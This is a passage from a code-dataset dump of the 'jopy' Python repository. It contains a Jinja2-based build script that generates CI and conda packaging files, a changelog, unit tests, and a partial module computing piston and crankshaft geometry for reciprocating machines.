"text": "import jinja2\nimport os\nimport requests\nimport json\nfrom distutils.version import LooseVersion #, StrictVersion\nimport codecs\nimport datetime\nfrom jinja2.environment import Environment\nimport subprocess\nimport sys\n\n#import conda_api\n#import sys\n\ntemplate_dir = os.path.dirname(os.path.abspath(__file__))\ntarget_dir = os.path.abspath(os.path.join(os.path.dirname(__file__),'..'))\ndocs_dir = os.path.abspath(os.path.join(os.path.dirname(__file__),'..','docs'))\n\nauthor = 'Jorrit Wronski'\nemail = '[email protected]'\n\ntpl_first_line = \"{0} CAUTION: This file is automatically generated from {1}, do not edit it manually\\n\"\n\nmtime = datetime.datetime.fromtimestamp(os.path.getmtime(__file__)).strftime('%Y-%m-%d %H:%M')\n\nbas_pkgs = [\"conda-env\", \"conda-build\", \"binstar\", \"binstar-build\", \"jinja2\"]\n\ncus_pkgs = [\"numpy\", \"scipy\", \"matplotlib\", \"pandas\", \"blaze\"]\npip_cus_pkgs = [\"coolprop\", \"texttable\", \"brewer2mpl\",\"future\"]\n\ndev_pkgs = cus_pkgs + [\"pip\", \"pyyaml\", \"nose\", \"sphinx\", \"jinja2\"]\npip_dev_pkgs = pip_cus_pkgs + [\"coveralls\", \"nose-cov\", \"codecov\", \"tox\"]\n\n\nif sys.platform.lower().startswith('win'): \n #conda_api.set_root_prefix(r'C:\\Miniconda3')\n activa = r'C:\\Miniconda3\\Scripts\\activate.bat'\n source = ''\nelse:\n #conda_api.set_root_prefix(r'/opt/miniconda')\n activa = r'source /opt/miniconda/bin/activate'\n source = 'source'\n\n#print(str(conda_api.get_conda_version()))\n#print(str(conda_api.search(spec='ipython')))\n \ndef run_command(cmd, **kwargs):\n '''given shell command, returns communication tuple of stdout and stderr'''\n kw = dict(stdout=subprocess.PIPE, \n stderr=subprocess.PIPE, \n stdin=subprocess.PIPE)\n kw.update(**kwargs)\n return subprocess.Popen(cmd,**kwargs).communicate()\n\n\ndef find_packages(full):\n \"\"\"Searches binstar for packages\"\"\"\n con_pkgs = []\n pip_pkgs = []\n for pkg in [f.lower() for f in full]:\n res = run_command(['conda','search',pkg])[0].decode(\"utf-8\").splitlines()\n if len(res)>=2:\n re = res[1].split()\n #print(re)\n if len(re)>0 and re[0]==pkg: \n print(\"Found {0} on binstar.\".format(re[0]))\n con_pkgs.append(pkg)\n else:\n pip_pkgs.append(pkg)\n else:\n pip_pkgs.append(pkg)\n return con_pkgs\n \n\ntmp_env = False #'tmpEnv'\n\nif tmp_env:\n all_dev_pkgs = list(dev_pkgs + pip_dev_pkgs)\n con_dev_pkgs = list(find_packages(all_dev_pkgs))\n pip_dev_pkgs = list(set(all_dev_pkgs).difference(con_dev_pkgs))\n\n all_cus_pkgs = list(cus_pkgs + pip_cus_pkgs)\n con_cus_pkgs = list(set(all_cus_pkgs).intersection(con_dev_pkgs))\n pip_cus_pkgs = list(set(all_cus_pkgs).difference(con_dev_pkgs))\n \n new_dev_pkgs = []\n print(pip_dev_pkgs)\n print(run_command(['conda','create','-yn',tmp_env,'pip','setuptools'])[0].decode(\"utf-8\"))\n print(run_command([activa,tmp_env,'&','pip','install']+list(pip_dev_pkgs))[0].decode(\"utf-8\"))\n for res in run_command([activa,tmp_env,'&','pip','freeze'])[0].decode(\"utf-8\").splitlines():\n re = res.split('==')\n if len(re)==2: \n #print(\"New dependency: \"+re[0])\n new_dev_pkgs.append(re[0].lower())\n \n all_new_pkgs = list(set(new_dev_pkgs).difference(all_dev_pkgs))\n con_new_pkgs = list(find_packages(all_new_pkgs))\n pip_new_pkgs = list(set(all_new_pkgs).difference(con_new_pkgs))\n \n print(\"cus conda:\"+' '.join(con_cus_pkgs))\n print(\"dev conda:\"+' '.join(con_dev_pkgs))\n print(\"new conda:\"+' '.join(con_new_pkgs))\n print(\" cus pip:\"+' '.join(pip_cus_pkgs))\n print(\" dev pip:\"+' '.join(pip_dev_pkgs))\n print(\" new pip:\"+' '.join(pip_new_pkgs))\n \n print(run_command(['conda','remove','-y','--all',tmp_env])[0].decode(\"utf-8\"))\n\n# #{% if upload %}binstar login{% endif %} \n# tpl_string_start = \"\"\"\n# conda create -n {{ env }} pip setuptools binstar\n# {{ source }}activate {{ env }}\n# {% if upload %}conda config --set binstar_upload yes{% endif %}\n# {% if not upload %}conda config --set binstar_upload no{% endif %}\n# {% for pkg in pip_pkgs %}\n# conda skeleton pypi {{ pkg }}\n# conda build --python all -c https://conda.binstar.org/jowr {{ pkg }}\n# \"\"\"\n# tpl_string_stop = \"\"\"\n# {% endfor %}\n# {{ source }}deactivate\n# conda remove --all {{ env }}\n# conda config --set binstar_upload no\n# exit 0\n# \"\"\"\n# tpl_string_cent = \"\"\"\n# {% if upload %}binstar upload `conda build --output --python all {{ pkg }}`{% endif %}\n# \"\"\"\n #{% if upload %}binstar login{% endif %} \n tpl_string = \"\"\"\nconda create -n {{ env }} pip setuptools binstar\n{{ source }}activate {{ env }}\n{% if upload %}conda config --set binstar_upload yes{% endif %}\n{% if not upload %}conda config --set binstar_upload no{% endif %}\n{% for pkg in pip_pkgs %}\nconda skeleton pypi {{ pkg }}\nconda build --python all -c https://conda.binstar.org/jowr {{ pkg }}\n{% endfor %}\n{{ source }}deactivate\nconda remove --all {{ env }}\nconda config --set binstar_upload no\nexit 0\n\"\"\"\n #binstar login\n #conda skeleton pypi somepypipackage\n #conda build somepypipackage\n #binstar upload somepypipackage\n #conda config --add channels jowr\n #conda install --use-local option\n \n upload = True\n \n target = 'maintain_repo.bsh'\n template =Environment().from_string(tpl_string)\n f = codecs.open(os.path.join(target_dir,target),mode='wb',encoding='utf-8')\n f.write(tpl_first_line.format(\"#!/bin/bash\\n# \"+mtime,'builder.py'))\n f.write(template.render(env=\"tmpEnv\",source=\"source \", upload=upload, pip_pkgs=pip_new_pkgs+pip_dev_pkgs))\n f.close()\n\n# tpl_string_cent = \"\"\"\n# set nameValue=\n# for /f \"delims=\" %%a in ('conda build --output --python all {{ pkg }}') do @set nameValue=%%a\n# {% if upload %}binstar upload %nameValue% {% endif %}\n# \"\"\"\n \n target = 'maintain_repo.bat'\n template =Environment().from_string(tpl_string)\n f = codecs.open(os.path.join(target_dir,target),mode='wb',encoding='utf-8')\n f.write(tpl_first_line.format(\":: \"+mtime,'builder.py'))\n f.write(template.render(env=\"tmpEnv\",source=\"\" , upload=upload, pip_pkgs=pip_new_pkgs+pip_dev_pkgs))\n f.close()\n\n\n\nos.chdir(template_dir)\nloader = jinja2.FileSystemLoader(['.','jopy'])\nenvironment = jinja2.Environment(loader=loader)\n\ntags = {}\n#r = requests.get('https://api.github.com/repos/coolprop/coolprop/tags')\nr = requests.get('https://api.github.com/repos/jowr/jopy/tags')\nif(r.ok):\n item = json.loads(r.text or r.content)\n for com in item:\n tags[com['name']] = com['commit']['sha']\n\n#tag = sorted(tags.keys())[-1]\ntag = \"v0.0.1\"\nif tag[0]=='v': version = tag[1:]\nelse: version = tag\n\nlocal_dict = dict(\n author = author,\n email = email,\n version = version,\n bas_pkgs = bas_pkgs,\n cus_pkgs = cus_pkgs,\n pip_cus_pkgs = pip_cus_pkgs,\n dev_pkgs = dev_pkgs,\n pip_dev_pkgs = pip_dev_pkgs\n)\n\ntarget = 'travis.yml'\ntemplate_path = target+'.tpl'\ntemplate = environment.get_template(template_path)\nf = codecs.open(os.path.join(target_dir,\".\"+target),mode='wb',encoding='utf-8')\nf.write(tpl_first_line.format(\"# \"+mtime,template_path))\nf.write(template.render(**local_dict))\nf.close()\n\ntarget = 'appveyor.yml'\ntemplate_path = target+'.tpl'\ntemplate = environment.get_template(template_path)\nf = codecs.open(os.path.join(target_dir,target),mode='wb',encoding='utf-8')\nf.write(tpl_first_line.format(\"# \"+mtime,template_path))\nf.write(template.render(**local_dict))\nf.close()\n\ntarget = 'requirements.txt'\ntemplate_path = target+'.tpl'\ntemplate = environment.get_template(template_path)\nf = codecs.open(os.path.join(target_dir,target),mode='wb',encoding='utf-8')\nf.write(tpl_first_line.format(\"# \"+mtime,template_path))\nf.write(template.render(**local_dict))\nf.close()\n\ntarget = 'setup.py'\ntemplate_path = target+'.tpl'\ntemplate = environment.get_template(template_path)\nf = codecs.open(os.path.join(target_dir,target),mode='wb',encoding='utf-8')\nf.write(\"#!/usr/bin/env python \\n\")\nf.write(tpl_first_line.format(\"# \"+mtime,template_path))\nf.write(template.render(**local_dict))\nf.close()\n\ntarget = '__init__.py'\ntemplate_path = target+'.tpl'\ntemplate = environment.get_template(template_path)\nf = codecs.open(os.path.join(target_dir,'jopy',target),mode='wb',encoding='utf-8')\nf.write(tpl_first_line.format(\"# \"+mtime,__file__))\nf.write(template.render(**local_dict))\nf.close()\n\ntarget = 'meta.yaml'\ntemplate_path = target+'.tpl'\ntemplate = environment.get_template(template_path)\nf = codecs.open(os.path.join(target_dir,target),mode='wb',encoding='utf-8')\nf.write(tpl_first_line.format(\"# \"+mtime,template_path))\nf.write(template.render(**local_dict))\nf.close()\n\n\n\n\n\n\n\n\n\n\n\n# Build the docs automatically\n#print(run_command([\"make\",\"html\"], shell=True, cwd=docs_dir)[0].decode(\"utf-8\"))\nprint(run_command([\"make\",\"html\"], shell=True, cwd=docs_dir))\n\n\n#target = 'meta.yaml'\n#template = environment.get_template(os.path.join(template_dir,target+'.tpl'))\n#tags = {}\n#r = requests.get('https://api.github.com/repos/coolprop/coolprop/tags')\n#if(r.ok):\n #item = json.loads(r.text or r.content)\n #for com in item:\n #tags[com['name']] = com['commit']['sha']\n\n##tag = sorted(tags.keys())[-1]\n\n##for tag in sorted(tags.keys()):\n## print tag\n## r = requests.get('https://api.github.com/repos/coolprop/coolprop/git/tags/'+tags[tag])\n## if(r.ok):\n## items = json.loads(r.text or r.content)\n## print str(items)\n\n##def cmp(x,y): return LooseVersion(x).__cmp__(y)\n##tag = sorted(tags.keys(),cmp=cmp)[-1]\n#tag = sorted(tags.keys())[-1]\n##from pkg_resources import parse_version\n##>>> parse_version('1.4') > parse_version('1.4-rc2')\n#if tag[0]=='v': version = tag[1:]\n#else: version = tag\n\n#f = codecs.open(os.path.join(target_dir,target),mode='wb',encoding='utf-8')\n##f = open(name,mode='w')\n#f.write(template.render(version=version,tag=tag,pkgs=pkgs))\n#f.close()"
},
{
"alpha_fraction": 0.49275362491607666,
"alphanum_fraction": 0.5724637508392334,
"avg_line_length": 14.333333015441895,
"blob_id": "917fa1879c975b1014b9d1de6371d765721566bb",
"content_id": "078df2c5d45fecfd5c1ed3e022d480dfadcf0ba3",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 138,
"license_type": "permissive",
"max_line_length": 65,
"num_lines": 9,
"path": "/HISTORY.rst",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": ".. :changelog:\n\nHistory\n-------\n\n0.1.0 (2015-07-03)\n++++++++++++++++++\n\n* First commit to GitHub, old content will be migrated gradually.\n"
},
{
"alpha_fraction": 0.6245505809783936,
"alphanum_fraction": 0.6373908519744873,
"avg_line_length": 24.285715103149414,
"blob_id": "76a3642dd5cc05c1c86478c6b1bfd8a793248137",
"content_id": "55f7db93022aac7da307c4bd159a8225da1a3c88",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1947,
"license_type": "permissive",
"max_line_length": 114,
"num_lines": 77,
"path": "/test/test_jopy.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\nfrom matplotlib.figure import Figure\n\nfrom jopy.recip.mechanisms import RecipExplicit, RecipImplicit, RecipBase\nimport numpy as np\nfrom jopy.styles.mplib import BaseStyle, DtuStyle, IpuStyle\n\nfrom jopy.utils import module_class_dict\nimport jopy.styles.mplib as mpl\n\nLOCAL=True\n\n\nclass TestJopy(object):\n\n @classmethod\n def setup_class(cls):\n pass\n\n def test_something(self):\n pass\n\n @classmethod\n def teardown_class(cls):\n pass\n\nclass TestJopyRecip(object):\n exp = RecipExplicit()\n imp = RecipImplicit()\n\n @classmethod\n def setup_class(cls):\n cr = 0.05\n cl = 0.15\n bo = 0.09\n pp = 0.00\n cv = 20e-6\n TestJopyRecip.exp.set_geometry(cr,cl,bo,pp,cv)\n TestJopyRecip.imp.set_geometry(cr,cl,bo,pp,cv)\n pass\n\n def test_recip_objects(self):\n assert not isinstance(TestJopyRecip.exp, RecipImplicit)\n assert isinstance(TestJopyRecip.imp, RecipBase)\n \n def test_recip_functions(self):\n rev = TestJopyRecip.exp.revolution(100)\n diff = np.abs((TestJopyRecip.exp.volume(rev)-TestJopyRecip.imp.volume(rev))/TestJopyRecip.exp.volume(rev))\n #print(np.max(diff),np.mean(diff))\n assert np.mean(diff)<0.005 # less than 0.5%\n\n @classmethod\n def teardown_class(cls):\n pass\n\nclass TestJopyStyle(object):\n objs = []\n\n @classmethod\n def setup_class(cls):\n #TestJopyStyle.objs.append(BaseStyle())\n #TestJopyStyle.objs.append(DtuStyle())\n #TestJopyStyle.objs.append(IpuStyle())\n pass\n\n def test_style_show(self):\n dic = module_class_dict(mpl)\n for i in dic:\n line_fig,map_fig = dic[i]()._show_info(show=False)\n assert isinstance(line_fig, Figure)\n assert isinstance(map_fig, Figure)\n\n @classmethod\n def teardown_class(cls):\n pass\n"
},
{
"alpha_fraction": 0.5367102026939392,
"alphanum_fraction": 0.5552506446838379,
"avg_line_length": 39.98480224609375,
"blob_id": "af157e6d0a9e436ad2be6e7368584bdd32b0d9d5",
"content_id": "5e659053735a7ccdc803a4d0e333254a7e62927c",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 40454,
"license_type": "permissive",
"max_line_length": 436,
"num_lines": 987,
"path": "/jopy/recip/mechanisms.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\nfrom ..base import JopyBaseClass\n\nimport numpy as np\nfrom numpy import pi\nfrom texttable import Texttable\nfrom scipy.optimize import minimize, minimize_scalar\nfrom abc import ABCMeta, abstractmethod\n\nclass RecipBase(JopyBaseClass):\n \"\"\"\n The basic object that handles many tasks for the reciprocating \n machine. It exploits as many interelations as possible and the \n object can be optimised heavily by using explicit equations\n instead of the solver calls.\n \"\"\"\n \n __metaclass__ = ABCMeta\n \n def __init__(self):\n super(RecipBase, self).__init__()\n # direct geometry \n self._cr = None # crankshaft radius\n self._cl = None # conrod length\n self._bo = None # bore\n self._pp = None # piston pin offset\n # Angle values used for offset calculations\n self._theta_0_TDC = None\n self._theta_0_BDC = None\n # Determines whether to use offset or not\n self._of = None\n # Other variables used to save calculation time\n self._l_min = None # clearance from dead volume\n self._l_max = None \n self._l_cr_max = None\n self._l_cr_min = None\n \n \n \n @property\n def cr(self):\n \"\"\"Crankshaft radius [m]\"\"\"\n return self._cr\n\n #@cr.setter\n #def cr(self, value):\n # self._cr = value\n #\n #@cr.deleter\n #def cr(self):\n # del self._cr\n\n\n @property\n def cl(self):\n \"\"\"Conrod length [m]\"\"\"\n return self._cl\n\n #@cl.setter\n #def cl(self, value):\n # self._cl = value\n #\n #@cl.deleter\n #def cl(self):\n # del self._cl\n\n\n @property\n def bo(self):\n \"\"\"Cylinder bore (diameter) [m]\"\"\"\n return self._bo\n\n #@bo.setter\n #def bo(self, value):\n # self._bo = value\n #\n #@bo.deleter\n #def bo(self):\n # del self._bo\n\n\n @property\n def pp(self):\n \"\"\"Piston pin offset from crankshaft centre [m]\"\"\"\n return self._pp\n\n #@pp.setter\n #def pp(self, value):\n # self._pp = value\n #\n #@pp.deleter\n #def pp(self):\n # del self._pp\n \n @property\n def l_min(self):\n \"\"\"Clearance height at TDC/minimum volume [m]\"\"\"\n if self._l_min is None: self._l_min = self._calc_distance_to_head(self.theta_0_TDC)\n return self._l_min\n \n @property\n def l_max(self):\n \"\"\"Clearance height at BDC/maximum volume [m]\"\"\"\n if self._l_max is None: self._l_max = self._calc_distance_to_head(self.theta_0_BDC)\n return self._l_max\n \n @property\n def l_cr_min(self):\n \"\"\"Clearance height at TDC/minimum volume [m]\"\"\"\n if self._l_cr_min is None: self._l_cr_min = self._calc_distance_to_shaft(self.theta_0_BDC)\n return self._l_cr_min\n \n @property\n def l_cr_max(self):\n \"\"\"Clearance height at TDC/minimum volume [m]\"\"\"\n if self._l_cr_max is None: self._l_cr_max = self._calc_distance_to_shaft(self.theta_0_TDC)\n return self._l_cr_max\n\n\n @property\n def theta_0_TDC(self):\n \"\"\"Crankshaft angle at TDC without offset [rad] - 0 = crankshaft top, not TDC\"\"\"\n if self._theta_0_TDC is None: self._theta_0_TDC = self._calc_theta_0_TDC()\n return self._theta_0_TDC\n\n #@theta_0_TDC.setter\n #def theta_0_TDC(self, value):\n # self._theta_0_TDC = value\n #\n #@theta_0_TDC.deleter\n #def theta_0_TDC(self):\n # del self._theta_0_TDC\n\n\n @property\n def theta_0_BDC(self):\n \"\"\"Crankshaft angle at BDC without offset [rad] - pi = crankshaft bottom, not BDC\"\"\"\n if self._theta_0_BDC is None: self._theta_0_BDC = self._calc_theta_0_BDC()\n return self._theta_0_BDC\n\n #@theta_0_BDC.setter\n #def theta_0_BDC(self, value):\n # self._theta_0_BDC = value\n #\n #@theta_0_BDC.deleter\n #def theta_0_BDC(self):\n # del self._theta_0_BDC\n \n \n\n \n def set_geometry(self,cr,cl,bo,pp=0,cv=0,of=False):\n \"\"\" \n Update the geometric variables and perform some calculations.\n \n Parameters\n ----------\n cr : float\n crankshaft radius [m]\n cl : float\n conrod length [m]\n bo : float\n bore [m]\n pp : float\n piston pin offset [m]\n cv : float\n clearance volume at TDC in [m³]\n of : float\n offset for the crank angle position [boolean]\n Allow for theta_TDC other than 0. If false (theta_TDC = 0)\n is assured by precalculating the angular offset.\n \n \"\"\"\n self._cr = cr\n self._cl = cl\n self._bo = bo\n self._pp = pp\n # Angle values used for offset calculations\n self._theta_0_TDC = None\n self._theta_0_BDC = None\n # Determines whether to use offset or not\n self._of = of\n # Other variables used to save calculation time\n self._l_min = cv / self.A() # distance from piston to head at TDC\n self._l_max = None \n self._l_cr_max = None\n self._l_cr_min = None\n \n def _calc_theta_0(self,theta):\n \"\"\"Process the crankshaft angle input to yield a value without offset.\"\"\"\n if not self._of: return theta + self.theta_0_TDC\n else: return theta\n \n def _calc_theta(self,theta_0):\n \"\"\"Process the crankshaft angle input to yield a value with offset.\"\"\"\n if not self._of: return theta_0 - self.theta_0_TDC\n else: return theta_0\n \n def _head_to_crank(self,position):\n return self.l_cr_max - position + self.l_min\n \n def _crank_to_head(self,position):\n return self.l_cr_max - position + self.l_min \n \n @staticmethod\n def _calc_dthetadt(rpm):\n \"\"\"Return the radians per time\"\"\"\n return 2.0*pi*rpm/60.0\n \n def _calc_theta_bounds(self,TDCtoBDC=None,BDCtoTDC=None,dldtheta=None,dldt=None):\n \"\"\"Determine whether we travel from TDC to BDC or the other way.\"\"\"\n small = 1e-12\n downstroke = None\n if TDCtoBDC is not None:\n downstroke = np.asanyarray(TDCtoBDC)*1. \n elif BDCtoTDC is not None:\n downstroke = np.asanyarray(BDCtoTDC)*-1.\n elif dldtheta is not None:\n downstroke = np.asanyarray(dldtheta)*-1.\n elif dldt is not None:\n downstroke = np.asanyarray(dldt)*-1.\n else:\n self.autolog(str(TDCtoBDC))\n self.autolog(str(BDCtoTDC))\n self.autolog(str(dldtheta))\n self.autolog(str(dldt))\n raise ValueError(\"Unable to detect downstroke or upstroke.\")\n \n goingdo = downstroke > small\n goingup = downstroke < -small\n undefin = np.logical_not(np.logical_or(goingdo,goingup))\n if np.sum(undefin)>0: \n self.autolog(str(TDCtoBDC))\n self.autolog(str(BDCtoTDC))\n self.autolog(str(dldtheta))\n self.autolog(str(dldt))\n raise ValueError(\"Unable to detect downstroke or upstroke, the derivative is close to zero.\")\n \n ret = np.empty(downstroke.shape, dtype=(float,2))\n ret[goingdo] = ( self.TDC(), self.BDC())\n ret[goingup] = (-2.0*pi+self.BDC(), self.TDC())\n return ret,goingdo,goingup\n\n \n def stroke(self):\n \"\"\"Stroke length of the current geometry\"\"\"\n return self.l(self.BDC())-self.l(self.TDC())\n \n def TDC(self):\n \"\"\"Crankshaft angle at TDC\"\"\"\n return self._calc_theta(self.theta_0_TDC)\n \n def BDC(self):\n \"\"\"Crankshaft angle at BDC\"\"\"\n return self._calc_theta(self.theta_0_BDC)\n \n # Mandatory functions needed to fill the geometry variables,\n # the methods are abstract even though they have an implementation\n # to force the user to actively reimplement the calls. This is\n # done to draw attention to the fact the solvers are highly \n # inefficient. \n @abstractmethod\n def _calc_theta_0_TDC(self):\n \"\"\"Calculate the crankshaft angle at TDC\"\"\" \n def f(x): return self._calc_distance_to_head(x)\n res = minimize_scalar(f, bounds=(-0.5*pi, 0.5*pi), method='bounded')\n self.autolog(str(res))\n return res.x\n \n @abstractmethod\n def _calc_theta_0_BDC(self): \n \"\"\"Calculate the crankshaft angle at BDC\"\"\"\n def f(x): return -self._calc_distance_to_head(x)\n res = minimize_scalar(f, bounds=(0.5*pi, 1.5*pi), method='bounded')\n self.autolog(str(res))\n return res.x\n \n # Some of the functions are written in a way that causes \n # indefinite recursion - two functions calling each other \n # require a redefinition of at least one of them. \n @abstractmethod\n def _calc_distance_to_head(self,theta_0): \n \"\"\"Calculate the distance from cylinder head to piston pin\"\"\"\n return self._crank_to_head(self._calc_distance_to_shaft(theta_0))\n \n @abstractmethod\n def _calc_distance_to_shaft(self,theta_0): \n \"\"\"Calculate the distance from crankshaft centre to piston pin\"\"\"\n return self._head_to_crank(self._calc_distance_to_head(theta_0))\n \n @abstractmethod\n def _calc_theta_0_from_head(self,distance,TDCtoBDC=None,BDCtoTDC=None,dldtheta=None,dldt=None): \n \"\"\"Calculate the crankshaft angle from the distance between piston pin and head\"\"\"\n return self._calc_theta_0_from_crank(self._head_to_crank(distance),TDCtoBDC=TDCtoBDC,BDCtoTDC=BDCtoTDC,dldtheta=dldtheta,dldt=dldt)\n \n @abstractmethod\n def _calc_theta_0_from_crank(self,distance,TDCtoBDC=None,BDCtoTDC=None,dldtheta=None,dldt=None): \n \"\"\"Calculate the crankshaft angle from the distance between piston pin and crankshaft centre\"\"\"\n return self._calc_theta_0_from_head(self._crank_to_head(distance),TDCtoBDC=TDCtoBDC,BDCtoTDC=BDCtoTDC,dldtheta=dldtheta,dldt=dldt)\n \n # Some shorthand notations for further calculations\n def A(self):\n \"\"\"Piston surface facing the control volume [m²]\"\"\"\n return pi * np.power(self.bo,2.0) / 4.0 \n \n def V(self,theta):\n \"\"\"Volume in cylinder\"\"\"\n return self._calc_distance_to_head(self._calc_theta_0(theta)) * self.A()\n\n def l(self,theta):\n \"\"\"Piston position from TDC + clearance height\"\"\"\n return self._calc_distance_to_head(self._calc_theta_0(theta))\n \n def theta(self,position,TDCtoBDC=None,BDCtoTDC=None,dldtheta=None,dldt=None): \n return self._calc_theta_0_from_head\n \n def dldtheta(self,theta): \n \"\"\"dl/dtheta - derivative of piston position w.r.t. crankshaft angle\"\"\"\n raise NotImplementedError(\"Missing function\")\n \n def dldt(self,theta,rpm): \n \"\"\"dl/dt - derivative of piston position w.r.t. time a.k.a. the piston velocity\"\"\"\n return self.dldtheta(theta)*self._calc_dthetadt(rpm)\n \n def d2ldtheta2(self,theta): \n \"\"\"d2l/dtheta2 - 2nd derivative of piston position w.r.t. crankshaft angle\"\"\"\n raise NotImplementedError(\"Missing function\")\n \n def d2ldt2(self,theta,rpm): \n \"\"\"dl/dt - 2nd derivative of piston position w.r.t. time a.k.a. the piston acceleration\"\"\"\n return self.d2ldtheta2(theta)*np.power(self._calc_dthetadt(rpm),2.0)\n \n def dVdtheta(self,theta):\n \"\"\"dV/dtheta - derivative of volume w.r.t. crankshaft angle\"\"\"\n return self.dldtheta(theta)*self.A()\n \n def d2Vdtheta2(self,theta):\n \"\"\"d2V/dtheta2 - 2nd derivative of volume w.r.t. crankshaft angle\"\"\"\n return self.d2ldtheta2(theta)*self.A()\n \n\n def info(self): \n table = Texttable()\n table.set_deco(Texttable.HEADER)\n # table.set_chars(['-', '|', '+', '='])\n table.set_cols_dtype(['t', # text\n 'f', # float (decimal) \n 't', # text \n 't']) # text \n table.set_cols_align([\"l\", \"r\", \"l\", \"l\"])\n table.set_cols_valign([\"m\", \"m\", \"m\", \"m\"])\n # table.set_cols_width([10, 12, 13, 13, 13])\n table.header([\"Variable\",\"Value\",\"Unit\",\"Description\"])\n table.add_row([\"cr\", self._cr,\"m\",\"crankshaft radius\"])\n table.add_row([\"cl\", self._cl,\"m\",\"conrod length\"])\n table.add_row([\"bo\", self._bo,\"m\",\"bore\"])\n table.add_row([\"pp\", self._pp,\"m\",\"piston pin offset\"])\n table.add_row([\"cv\", self.V(self.TDC())*1e6,\"cm3\",\"clearance volume at TDC\"])\n table.add_row([\"TDC\", np.degrees(self.TDC()),\"deg\",\"angle of piston TDC\"])\n table.add_row([\"BDC\", np.degrees(self.BDC()),\"deg\",\"angle of piston BDC\"])\n table.add_row([\"Max V\", self.V(self.BDC())*1e6,\"cm3\",\"volume at BDC\"])\n table.add_row([\"Min V\", self.V(self.TDC())*1e6,\"cm3\",\"volume at TDC\"])\n print(\"\\n\"+table.draw()+\"\\n\")\n \n \n def revolution(self,num):\n # num: steps you get\n full = np.linspace(-pi,pi,num+1)\n return full[:-1]\n \n def plotVolume(self):\n full = self.revolution(1000)\n volu = self.volume(full)\n \n import matplotlib as mpl\n #mpl.use('Qt4Agg')\n from matplotlib.pyplot import plot, show\n import matplotlib.pylab as plt\n \n if self.DEBUG:\n fig, axs = plt.subplots(2, 1, sharex=True)\n rev = self.revolution(2000)\n pos = self._position(rev)\n axs[0].plot(rev*180/pi,pos*100)\n axs[0].plot(self.TDC()*180/pi,self._position(self.TDC())*100,'o')\n iMin = np.where(pos==pos.min())\n axs[0].plot(rev[iMin]*180/pi,self._position(rev[iMin])*100,'o')\n iMax = np.where(pos==pos.max())\n axs[0].plot(rev[iMax]*180/pi,self._position(rev[iMax])*100,'o')\n axs[0].set_ylabel(r'Piston position (cm)')\n ax = axs[1]\n self.autolog(\"Position: \", str(pos.min()), str(pos.max()), str(self.stroke()))\n self.autolog(\"Volume: \",str(volu.min()), str(volu.max()))\n else:\n fig, ax = plt.subplots(1, 1)\n \n ax.plot(full*180/pi,volu*1e6)\n ax.plot(self.TDC()*180/pi,self.volume(self.TDC())*1e6,'o')\n iMin = np.where(volu==volu.min())\n ax.plot(full[iMin]*180/pi,self.volume(full[iMin])*1e6,'o')\n iMax = np.where(volu==volu.max())\n ax.plot(full[iMax]*180/pi,self.volume(full[iMax])*1e6,'o')\n ax.set_xlabel(r'Crankshaft angle $\\theta$ (deg)')\n ax.set_ylabel(r'Cylinder volume $V$ (cm$^3$)')\n show()\n \n \n\nclass RecipExplicit(RecipBase):\n \"\"\"Class that implements the formulations from Bjarne Dindler Rasmussen's PhD \n thesis and adds an explicit equation for the position to crankshaft angle \n conversion.\"\"\"\n \n def __init__(self):\n super(RecipExplicit, self).__init__()\n # Dimensionless properties\n self._sigma = None\n self._lambda = None\n \n def set_geometry(self,cr,cl,bo,pp=0,cv=0,of=False):\n \"\"\" \n Update the geometric variables and perform some calculations.\n \n cr : float\n crankshaft radius [m]\n cl : float\n conrod length [m]\n bo : float\n bore [m]\n pp : float\n piston pin offset [m]\n cv : float\n clearance volume at TDC in [m3]\n of : float\n offset for the crank angle position [boolean]\n Allow for theta_TDC other than 0. If false (theta_TDC = 0)\n is assured by precalculating the angular offset.\n \"\"\"\n super(RecipExplicit, self).set_geometry(cr,cl,bo,pp,cv,of)\n # Dimensionless properties\n self._sigma = pp / cl\n self._lambda = cr / cl\n \n #Carry out some basic comparisons\n _l_cr_max = np.sqrt(np.power(self.cl+self.cr,2.0)-np.power(self.pp,2.0))\n _l_cr_min = np.sqrt(np.power(self.cl-self.cr,2.0)-np.power(self.pp,2.0))\n \n #if self.l_cr_max <> _l_cr_max:\n # raise ValueError(\"l_cr_max is not equal: {1:7.5f} vs. {1:7.5f}\".format(self.l_cr_max,_l_cr_max))\n #if self.l_cr_min <> _l_cr_min:\n # raise ValueError(\"l_cr_min is not equal: {1:7.5f} vs. {1:7.5f}\".format(self.l_cr_min,_l_cr_min)) \n \n \n # Mandatory functions needed to fill the geometry variables\n def _calc_theta_0_TDC(self):\n \"\"\"Calculate the crankshaft angle at TDC\"\"\" \n return -np.arcsin(self.pp/(self.cl+self.cr))\n\n def _calc_theta_0_BDC(self): \n \"\"\"Calculate the crankshaft angle at BDC\"\"\"\n return -np.arcsin(self.pp/(self.cl-self.cr)) + pi\n \n # Some of the functions are written in a way that causes \n # indefinite recursion - two functions calling each other \n # require a redefinition of at least one of them.\n def _calc_distance_to_head(self,theta_0): \n \"\"\"Calculate the distance from cylinder head to piston pin\"\"\"\n return super(RecipExplicit, self)._calc_distance_to_head(theta_0)\n \n def _calc_distance_to_shaft(self,theta_0): \n \"\"\"Calculate the distance from crankshaft centre to piston pin\"\"\"\n def p(x): return np.power(x,2)\n return self.cl*np.sqrt(1.0 - p(self.cr*np.sin(theta_0) + self.pp)/p(self.cl)) + self.cr*np.cos(theta_0)\n \n def _calc_theta_0_from_head(self,distance,TDCtoBDC=None,BDCtoTDC=None,dldtheta=None,dldt=None): \n \"\"\"Calculate the crankshaft angle from the distance between piston pin and head\"\"\"\n return super(RecipExplicit, self)._calc_theta_0_from_head(distance,TDCtoBDC=TDCtoBDC,BDCtoTDC=BDCtoTDC,dldtheta=dldtheta,dldt=dldt)\n \n def _calc_theta_0_from_crank(self,distance,TDCtoBDC=None,BDCtoTDC=None,dldtheta=None,dldt=None): \n \"\"\"Calculate the crankshaft angle from the distance 